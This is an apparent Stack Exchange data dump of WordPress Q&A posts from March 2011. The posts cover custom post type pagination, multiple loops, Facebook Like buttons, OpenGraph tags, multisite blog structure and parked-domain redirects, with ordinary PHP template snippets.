  <row Id="11592" PostTypeId="1" CreationDate="2011-03-09T16:54:48.443" Score="1" ViewCount="129" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9276/search-posts-by-id-in-admin&quot;&gt;Search posts by ID in admin&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Hi ! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I search post by ID in admin on Wordpress ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2000" LastEditorUserId="2000" LastEditorDisplayName="" LastEditDate="2011-03-09T17:17:09.993" LastActivityDate="2011-03-23T15:21:30.120" ClosedDate="2011-03-23T16:17:19.440" Title="Wordpress : How to search by id in admin?" Tags="&lt;admin&gt;&lt;posts&gt;&lt;search&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="1" />
  <row Id="11593" PostTypeId="2" ParentId="11591" CreationDate="2011-03-09T17:17:20.850" Score="0" ViewCount="" Body="&lt;p&gt;have you defined a 'full' image size? &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-03-09T17:17:20.850" CommentCount="2" />
  <row Id="11594" PostTypeId="1" CreationDate="2011-03-09T17:39:27.700" Score="0" ViewCount="340" Body="&lt;p&gt;I got frustrated with the number of &quot;Like&quot; plugins available, so I went straight to Facebook for a direct implementation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want my like button to look like how how its displayed on Techcrunch (example: &lt;a href=&quot;http://techcrunch.com/2011/03/09/report-paypals-express-checkout-helps-bump-sales-by-18-percent/&quot; rel=&quot;nofollow&quot;&gt;http://techcrunch.com/2011/03/09/report-paypals-express-checkout-helps-bump-sales-by-18-percent/&lt;/a&gt;) - Notice the Facebook Like button - The word like, then a box to the right with the &quot;like count&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've copied the code and modified it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;http://www.facebook.com/plugins/like.php?href=&amp;lt;?php the_permalink(); ?&amp;gt;&amp;amp;amp;layout=button_count&amp;amp;amp;show_faces=false&amp;amp;amp;width=80;&amp;amp;amp;action=like&amp;amp;amp;font&amp;amp;amp;colorscheme=light&amp;amp;amp;height=20&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; style=&quot;border:none; overflow:hidden; width:80px; height:20px;&quot; allowTransparency=&quot;true&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above displays the &quot;Like&quot; button, but without the counter (I want it to display, even at zero). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may be missing something simple - Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-03-09T17:39:27.700" Title="Facebook Like - Display counter starting at Zero?" Tags="&lt;facebook&gt;" CommentCount="1" />
  <row Id="11595" PostTypeId="1" CreationDate="2011-03-09T17:47:45.177" Score="0" ViewCount="211" Body="&lt;p&gt;I just created a loop-event.php template for a custom post type. But the pagination is not working at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying different recipes from:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/search?q=custom+post+type+pagination&quot;&gt;http://wordpress.stackexchange.com/search?q=custom+post+type+pagination&lt;/a&gt;&#xA;But nothing is working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;  $args = array();&#xA;&#xA;  $args['post_type'] = 'event';&#xA;&#xA;  query_posts($args); &#xA;&#xA;?&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php if ( $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;    &amp;lt;div id=&quot;nav-above&quot; class=&quot;navigation&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;larr;&amp;lt;/span&amp;gt; Older posts', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Newer posts &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #nav-above --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;entry-meta&quot;&amp;gt;&#xA;                &amp;lt;?php the_time('1, jS F Y'); ?&amp;gt; | &amp;lt;?php the_terms( $post-&amp;gt;ID, 'activity', ' ', ', ', ' ' ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-meta --&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php &#xA;                if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it.&#xA;                  the_post_thumbnail('thumbnail', array('class' =&amp;gt; 'alignright'));&#xA;                } &#xA;                ?&amp;gt;&#xA;&#xA;                &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;entry-meta&quot;&amp;gt;&amp;lt;?php the_terms( $post-&amp;gt;ID, 'country', ' ', ', ', ' ' ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;div class=&quot;entry-utility&quot;&amp;gt;&#xA;                &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '&amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-utility --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-03-09T17:47:45.177" Title="Custom post type pagination" Tags="&lt;pagination&gt;" CommentCount="5" />
  <row Id="11596" PostTypeId="1" AcceptedAnswerId="11600" CreationDate="2011-03-09T18:12:56.550" Score="5" ViewCount="237" Body="&lt;h1&gt;A Little Background&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I've been running &lt;a href=&quot;http://mindsharestrategy.com&quot; rel=&quot;nofollow&quot;&gt;a blog for 4 years&lt;/a&gt; that discusses just about anything I feel like writing.  My car, backpacking trips, my church, marketing strategy, WordPress code, movies I see on the weekend, etc.  I have also been running &lt;a href=&quot;http://prosepainting.com&quot; rel=&quot;nofollow&quot;&gt;a separate blog for a little over a year&lt;/a&gt; focused primarily on creative writing.  I have &lt;a href=&quot;http://eamann.com&quot; rel=&quot;nofollow&quot;&gt;a &lt;em&gt;third&lt;/em&gt; blog&lt;/a&gt; that serves as my professional portfolio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized the other day that this is a huge convoluted mess, and I want to clear things up.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Problem&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Some people come to my main site looking for WordPress tutorials.  Others come looking for spiritual essays.  Others come because they can't remember the link to my portfolio and are trying to find my resume.  It makes it hard to attract feed subscribers when my content seems to be all over the place, but offering category-based subscriptions feels too limiting.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Ideal Endgame&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;What I'd love to to is build a kind of personal network of microsites.  My three blogs are already a Multisite network, that's not the issue.  But I think I need to split them into &lt;em&gt;more than three&lt;/em&gt; sites.  Maybe one site for tech stuff, one site for religion, one site for personal stuff, one site for fiction, one for showing off my portfolio, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to fully integrate my Facebook interactions and my Twitter community ... without duplicating content in multiple places (my last attempt at Twitter interaction re-created all my Tweets as custom post types within WordPress ... too much clutter).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Question&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;What is the best way to structure a blog network with a single author that covers so much disparate content?  It needs to be as easy as breathing to move from one part of the network to another - making content discoverability high.  Completely separate WP sites don't quite lend themselves to that, but spinning off categories doesn't keep the content separate enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I add other domains to the mix and try to push visitors from one domain to another, or is that too much distinction between the sites?  Think of &lt;a href=&quot;http://cnn.com&quot; rel=&quot;nofollow&quot;&gt;CNN&lt;/a&gt;, where you have a landing page that mashes up everything, but &lt;a href=&quot;http://ireport.cnn.com/&quot; rel=&quot;nofollow&quot;&gt;iReport&lt;/a&gt;, the &lt;a href=&quot;http://www.cnn.com/TECH/&quot; rel=&quot;nofollow&quot;&gt;tech page&lt;/a&gt;, the &lt;a href=&quot;http://politicalticker.blogs.cnn.com/&quot; rel=&quot;nofollow&quot;&gt;political blogs&lt;/a&gt;, and local pages are almost their own websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interaction between &lt;a href=&quot;http://gizmodo.com/&quot; rel=&quot;nofollow&quot;&gt;Gizmodo&lt;/a&gt;, &lt;a href=&quot;http://lifehacker.com/&quot; rel=&quot;nofollow&quot;&gt;Lifehacker&lt;/a&gt;, and their other sites is also a great example of the idea I want to accomplish ... but a horrible example of the design behind it (not a fan of their new designs).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-05-07T03:17:19.140" Title="What's the Best Way to Structure a Multi-Content Blog?" Tags="&lt;multisite&gt;&lt;content&gt;&lt;network&gt;" AnswerCount="5" CommentCount="6" FavoriteCount="2" />
  <row Id="11597" PostTypeId="2" ParentId="11596" CreationDate="2011-03-09T18:32:01.653" Score="4" ViewCount="" Body="&lt;p&gt;If I read correctly, it's already a WP-multi site right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create one main theme that will be used on all the sites&lt;/li&gt;&#xA;&lt;li&gt;create a child theme for each site that varies the color, or logo, or whatever to make it distinct.&lt;/li&gt;&#xA;&lt;li&gt;Use common widgets to pull in twitter feeds, etc.&lt;/li&gt;&#xA;&lt;li&gt;To increase the cross pollination of posts, use a special category that corresponds to each of the other sites in the network. (i.e. in a post on the personal blog, tick the checkbox for the religion blog).&lt;/li&gt;&#xA;&lt;li&gt;Write a function that extends the regular loop to check the other blogs for content in xyz category. So &lt;code&gt;query_posts()&lt;/code&gt; has something like &lt;code&gt;query_posts($query_string.'&amp;amp;extendednetwork=true')&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3832" LastActivityDate="2011-03-09T18:32:01.653" />
  <row Id="11598" PostTypeId="2" ParentId="11582" CreationDate="2011-03-09T18:37:00.167" Score="1" ViewCount="" Body="&lt;p&gt;I believe WP 3.1 introduced a fix for what you're describing... from the codex:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Custom Content Type Improvements - allows developers to generate archive pages, and have better menu and capability controls. Read more in the article Post Types.&lt;/li&gt;&#xA;&lt;li&gt;Advanced Queries - allows developers to query multiple taxonomies and custom fields&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I haven't used either of these improvements yet so I can't comment specifically, but it seems like that's what you're looking for. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="3832" LastActivityDate="2011-03-09T18:37:00.167" CommentCount="1" />
  <row Id="11599" PostTypeId="1" AcceptedAnswerId="11608" CreationDate="2011-03-09T18:37:21.083" Score="0" ViewCount="106" Body="&lt;p&gt;I was wondering if there is a way to edit the default field labels on a custom post, for example instead of the author field saying &quot;author&quot; have it say &quot;keynote speaker&quot; I found one solution listed below, but this obviously edits it across the entire backend.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'gettext', 'change_author_to_keynote' );&#xA;add_filter( 'ngettext', 'change_author_to_keynote' );&#xA;&#xA;function change_author_to_keynote( $translated ) &#xA;{  &#xA;    $translated = str_replace( 'Author', 'Keynote Speaker', $translated );&#xA;    $translated = str_replace( 'author', 'keynote speaker', $translated );&#xA;    return $translated;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pete&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2011-03-09T20:54:05.867" Title="Custom Post Type and Labels" Tags="&lt;custom-post-types&gt;&lt;author&gt;" AnswerCount="2" />
  <row Id="11600" PostTypeId="2" ParentId="11596" CreationDate="2011-03-09T18:42:26.653" Score="5" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your sites look nothing alike. Open those three links - and there is not a single element that binds all three sites together. Network of sites can benefit from &lt;strong&gt;consistent looks&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You could use &lt;strong&gt;global &quot;about&quot; page&lt;/strong&gt; that covers all of your activity and not just bits in context of specific site. Consider building landing page that will summarize yourself, your network of sites and topics they cover, means of contact, etc. Plus recent activity from Twitter and your network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Have capable and prominent &lt;strong&gt;search through all of the network&lt;/strong&gt;. It's easy to build with Google CSE and will immensely help people that landed in the wrong place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make good use of &lt;strong&gt;related posts&lt;/strong&gt;. Consider what visitor sees when finishing article - is there something that he seamlessly continue to or is it surrounded by completely unrelated posts? On other hand it is probably harder to implement for network, than in context of single site that covers multiple topics...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-09T18:42:26.653" />
  <row Id="11601" PostTypeId="1" AcceptedAnswerId="15068" CreationDate="2011-03-09T18:47:03.417" Score="2" ViewCount="36" Body="&lt;p&gt;Is it possible to add a token to any wp-option that could be replaced on get where the token being defined in a plugin’s option or the configure file? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E.g. &#xA;http://[[[env_token]]].sitename.com/some-page.html =&amp;gt; &#xA;http://staging.sitename.com/some-page.html or &#xA;http://dev.sitename/some-page.html or &#xA;http://www.sitename.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be more specific I am managing a Wordpress instance inside a development life cycle where I often copy production data down to staging and development servers.  Often the options tables are unmanageable and have changed since the last dump.  However, after analyzing what the most frequent changes are between servers I noticed it is the environmental specific tokens like dev and staging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a little concerned with running a string replace on every option get, but I am making use of page, data, and object caching. &lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="2362" LastEditorDisplayName="" LastEditDate="2011-03-09T18:56:17.427" LastActivityDate="2011-07-17T21:20:22.760" Title="Environment Specific Options Token" Tags="&lt;plugins&gt;&lt;options&gt;&lt;wp-options&gt;" AnswerCount="1" />
  <row Id="11602" PostTypeId="2" ParentId="11416" CreationDate="2011-03-09T18:54:49.243" Score="0" ViewCount="" Body="&lt;p&gt;Ok, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$category = get_term_by( 'name', 'lastest news', 'category' );&#xA;$args = array (&#xA;    'tax_query' =&amp;gt; array (&#xA;        array (&#xA;            'taxonomy' =&amp;gt; 'category',&#xA;            'field'    =&amp;gt; 'slug',&#xA;            'terms'    =&amp;gt; $category-&amp;gt;slug,&#xA;            'operator' =&amp;gt; 'NOT IN'&#xA;        )&#xA;    )&#xA;);&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This example need WP 3.1 to work. See more: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;Taxonomy parameters&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastEditorUserId="3768" LastEditorDisplayName="" LastEditDate="2011-03-09T19:00:30.673" LastActivityDate="2011-03-09T19:00:30.673" />
  <row Id="11603" PostTypeId="1" CreationDate="2011-03-09T19:18:29.807" Score="1" ViewCount="130" Body="&lt;p&gt;I am trying to use two loops on my page, one to get the current page's content and so on, and another to get all of the posts of a specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do that, all of the tags for the current page disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loop one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;   &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;      &amp;lt;div class=&quot;content_wrapper&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Loop two:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('category_name' =&amp;gt; 'test')); ?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;   &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;      &amp;lt;div&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;   &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance!&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-03-29T14:34:03.167" Title="Multiple loops on the same page removing post tags" Tags="&lt;the-loop&gt;&lt;custom-loop&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="11604" PostTypeId="2" ParentId="11603" CreationDate="2011-03-09T19:26:43.440" Score="3" ViewCount="" Body="&lt;p&gt;Sorry guys, stupid mistake, I forgot to reset the second loop using &lt;code&gt;wp_reset_query&lt;/code&gt;, here is the working code,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('category_name' =&amp;gt; 'test')); ?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanx anyways though!&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-03-09T19:26:43.440" />
  <row Id="11605" PostTypeId="2" ParentId="10952" CreationDate="2011-03-09T20:17:53.157" Score="1" ViewCount="" Body="&lt;p&gt;I know it will be not regular answer and maybe not helpful. On big site (more 16k posts) we use &lt;a href=&quot;http://lucene.apache.org/solr/&quot; rel=&quot;nofollow&quot;&gt;SOLR&lt;/a&gt; server with module &lt;a href=&quot;http://wiki.apache.org/solr/MoreLikeThisHandler&quot; rel=&quot;nofollow&quot;&gt;MLT (more like this)&lt;/a&gt; and results are more than good. &lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-09T20:17:53.157" />
  <row Id="11606" PostTypeId="2" ParentId="11599" CreationDate="2011-03-09T20:37:33.843" Score="0" ViewCount="" Body="&lt;p&gt;I think you two filters is possible for parse strings and replace. You can also see an example on githup, on a free plugin for language strings: &lt;a href=&quot;https://github.com/toscho/Germanix-WordPress-Plugin/blob/master/germanix_translate.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/toscho/Germanix-WordPress-Plugin/blob/master/germanix_translate.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-03-09T20:37:33.843" />
  <row Id="11607" PostTypeId="1" AcceptedAnswerId="26700" CreationDate="2011-03-09T20:42:13.557" Score="3" ViewCount="292" Body="&lt;p&gt;I'm working with the new custom post type archives in 3.1 and I noticed that when my post type has 0 posts, the archive for the type results in a 404. Looking at the order of hooks being processed, it's redirecting to the 404 template before even processing my archive-{post_type}.php template and reaching the conditional for available posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading various articles and questions here had clued me in on flushing the permalink state after creating my types. This shouldn't be an issue, however, as the archive page works if posts for the type exist. I even went as far as setting my has_archive value to the post type slug rather than just true to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to force the archive template to be loaded and not generate a 404 regardless of post count while keeping the query in place?&lt;/p&gt;&#xA;" OwnerUserId="3834" LastActivityDate="2011-08-23T17:48:33.950" Title="Custom Post Type Archives with 0 Posts Redirects as 404" Tags="&lt;custom-post-types&gt;&lt;archive&gt;&lt;custom-post-type-archives&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="11608" PostTypeId="2" ParentId="11599" CreationDate="2011-03-09T20:54:05.867" Score="1" ViewCount="" Body="&lt;p&gt;you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('gettext','custom_author_lable');&#xA;function custom_author_lable( $input ) {&#xA;    global $post_type;&#xA;    if( is_admin() &amp;amp;&amp;amp; 'your_post_type' == $post_type )&#xA;        if ('Author' == $input || 'author' == $input)&#xA;                 return 'Keynote Speaker';      &#xA;    return $input; &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just replace your_post_type.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-09T20:54:05.867" CommentCount="1" />
  <row Id="11609" PostTypeId="2" ParentId="11596" CreationDate="2011-03-09T21:10:43.910" Score="1" ViewCount="" Body="&lt;p&gt;Make the main site the landing part of the whole &quot;You Network&quot;. Use this plugin to pull them all there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/list-recent-sites/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/list-recent-sites/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is similar to what I use here atypicalife.net for a family network of blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chunk op the sub-sites according to how you want. Export &amp;amp; Import posts around. Use a plguin like &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/threewp-broadcast/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/threewp-broadcast/&lt;/a&gt; or&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/multipost-mu/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multipost-mu/&lt;/a&gt;&#xA;to push posts.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-03-09T21:10:43.910" />
  <row Id="11610" PostTypeId="2" ParentId="4134" CreationDate="2011-03-09T21:25:37.423" Score="1" ViewCount="" Body="&lt;p&gt;Here's a code sample from a recent project. This sets the OpenGraph properties for a specific post. Add the code to the header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_single()) { // Display only on single posts ?&amp;gt;&#xA;&amp;lt;?php $thumbnail_url = wp_get_attachment_image_src( get_post_thumbnail_id($post-&amp;gt;ID)); &#xA;// Optionally, use the code below (untested) to get a thumbnail based on a specific thumbnail size&#xA;// $thumbnail_url = wp_get_attachment_image_src(get_post_thumbnail_id($post-&amp;gt;ID), 'custom-thumbnail-name'); &#xA;?&amp;gt;&#xA;&amp;lt;meta property=&quot;og:title&quot; content=&quot;&amp;lt;?php echo get_the_title($post-&amp;gt;ID); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;&amp;lt;?php echo get_permalink($post-&amp;gt;ID); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;&amp;lt;?php echo $thumbnail_url[0]; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:site_name&quot; content=&quot;Website Name&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;fb:admins&quot; content=&quot;732866210&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-03-09T21:25:37.423" />
  <row Id="11611" PostTypeId="1" AcceptedAnswerId="11614" CreationDate="2011-03-09T21:27:52.367" Score="0" ViewCount="130" Body="&lt;p&gt;Essentially what I'd like to do is have the same effect as the wp_list_authors tag, but instead of just listing the name or their post count, I want to be able to do a loop with the IDs. Ultimately I'd like have to a page with every author, with their name, description, avatar and link. I can figure out the specifics, I just need a way to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach $author as $author-&amp;gt;ID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pete&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2011-03-14T11:59:57.353" Title="Custom Author Loop" Tags="&lt;author&gt;&lt;list-authors&gt;" AnswerCount="1" />
  <row Id="11613" PostTypeId="1" CreationDate="2011-03-09T21:41:58.437" Score="0" ViewCount="120" Body="&lt;p&gt;I have 3 different WordPress sites on my host provider in a linux shared hosting package.  The main domain is domain-a.com.  A secondary add-on domain is domain-b.com.  I have a parked domain domain-c.com that redirects to domain-b.com.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All are registered elsewhere and the a-record points to this host provider.  Here's the problem: when a user types domain-c.com it properly redirects to domain-b.com.  No problem there.  The problem occurs when a user types domain-c.com/something.html (anything that is not found on the domain-b.com). It produces my error404 page for domain-a.com, not domain-b.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am told by the host providers (at the registrar and this host) that this is a WordPress issue because of the htaccess file and how WP resolves the domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a plugin named Simple 301 Redirects but it has no effect here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Larry&lt;/p&gt;&#xA;" OwnerUserId="3836" LastActivityDate="2011-05-12T09:44:19.250" Title="Parked domain redirecting to wrong error404 page" Tags="&lt;redirect&gt;&lt;domain&gt;" AnswerCount="1" CommentCount="3" />
